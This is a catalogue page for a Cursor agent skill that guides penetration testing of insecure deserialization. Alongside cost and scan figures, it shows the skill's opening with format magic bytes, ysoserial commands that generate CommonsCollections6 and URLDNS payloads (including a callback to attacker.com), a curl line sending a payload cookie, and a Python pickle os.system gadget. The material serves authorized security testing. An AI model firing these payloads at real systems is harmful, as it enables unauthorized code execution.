What is deserialization-pentest?

A guide for testing insecure deserialization, a flaw where an application rebuilds objects from data supplied by a user. It helps identify serialized Java, .NET, PHP, Python, Ruby, YAML, XML, or JSON data and assess its risk.

Use it to identify serialization formats and runtimes, send detection and type-confusion tests, check relevant gadget chains, prove code execution within the approved rules, and record request, response, and command evidence.

It turns suspicious encoded values, cookies, hidden fields, and API bodies into a structured investigation. This helps distinguish harmless data from inputs that could enable unauthorized code execution.

How Suzu-Testing/metasploit-cursor-harness configures Cursor

Reuse

Borrowing it

Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.

Copy the file

curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/deserialization-pentest/SKILL.md

Clone the repo

git clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harness

Made for: Cursor.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/deserialization-pentest.svg)](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/deserialization-pentest)

Your own site

<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/deserialization-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/deserialization-pentest.svg" alt="Measured on agentmods" height="20"></a>

Per session 62 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 2,125 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00062	$0.02125
Opus 5	$0.00031	$0.01063
Sonnet 5	$0.00012	$0.00425
Haiku 4.5	$0.00006	$0.00213

Measured 7d ago against content hash 3e954ca689d0, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade A, and why

deserialization-pentest scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -b "session=<base64_payload>" "http://<target>/"

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('id',))

.cursor/skills/deserialization-pentest/SKILL.md · 254 lines

How it starts

The opening of the file, as written. The whole thing — 254 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Insecure Deserialization Pentest

Prerequisites

Target is in scope (scope/scope-master.txt, engagement ROE).
Load web-app-pentest for overall web testing context.

Triggers

Base64 blobs in cookies, hidden fields, or API bodies with magic bytes
Magic bytes: rO0 (Java), aced (Java hex), O: (PHP), gASV (Python pickle)
Java serialized objects, .NET BinaryFormatter/ViewState, PHP unserialize, Python pickle
Content-Type application/java-serialized-object or binary formats
YAML/XML/JSON endpoints accepting typed objects (Jackson, XStream, Yaml.load)
ASP.NET __VIEWSTATE or JSF javax.faces.ViewState parameters
Errors referencing ObjectInputStream, SerializationException, or gadget class names

Workflow

Task Progress:
- [ ] Identify serialization format and language/runtime
- [ ] Test with detection payloads and type confusion probes
- [ ] Map available gadget chains for identified libraries/versions
- [ ] Escalate with language-specific RCE proof within ROE
- [ ] Document with request/response evidence and command output proof

Detection

Format identification

Magic / Pattern	Format
`ac ed 00 05` (hex)	Java serialized
`rO0AB` (base64)	Java serialized
`O:4:"User"`	PHP serialized object
`gASV` (base64)	Python pickle
`AAEAAAD` (base64)	.NET BinaryFormatter
`__VIEWSTATE`	ASP.NET ViewState

CLI (primary for web vulns):

java -jar ysoserial.jar URLDNS "http://unique.attacker.com" | base64 -w0
# Send in cookie/header; confirm DNS callback

MSF MCP:

msf_search_modules(query="java_deserialize")
msf_search_modules(query="deserialization")

Exploitation by language

Java (ysoserial)

CLI (primary):

java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0
java -jar ysoserial.jar URLDNS "http://callback.attacker.com/a" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "whoami" > payload.bin

Read the full file on GitHub · 254 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

7d ago First seen · 254 lines · 62 tokens per session scan A 3e954ca689d0

Subscribe to this mod's changes

deserialization-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 13d ago), licensed MIT. It adds 62 tokens to every session and 2,125 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Security

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metasploit-cursor-harness: Skill for Cursor